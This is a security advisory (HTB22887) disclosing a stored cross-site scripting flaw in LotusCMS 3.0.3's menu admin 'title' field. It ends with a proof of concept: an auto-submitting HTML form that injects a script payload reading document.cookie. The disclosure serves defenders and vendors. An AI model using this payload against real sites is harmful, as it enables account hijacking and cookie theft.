HTB22887: XSS vulnerability in LotusCMS

[advisory@xxxxxxxxxxx]

Vulnerability ID: HTB22887
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_lotuscms_3.html
Product: LotusCMS
Vendor: Arboroia Network ( http://www.lotuscms.org/ ) 
Vulnerable Version: 3.0.3 and probably prior versions
Vendor Notification: 01 March 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing 
(http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the 
"modules/Menu/MenuModuleAdmin.php" script to properly sanitize user-supplied 
input in "title" variable. Successful exploitation of this vulnerability could 
result in a compromise of the application, theft of cookie-based authentication 
credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is 
available:

<form 
action="http://host/index.php?system=Modules&page=admin&active=Menu&req=save&id=3";
 method="post" name="main">
<input type="hidden" name="title" 
value='lotus"><script>alert(document.cookie)</script>'>
<input type="hidden" name="external" value="http://host";>
</form>
<script>
document.main.submit();
</script>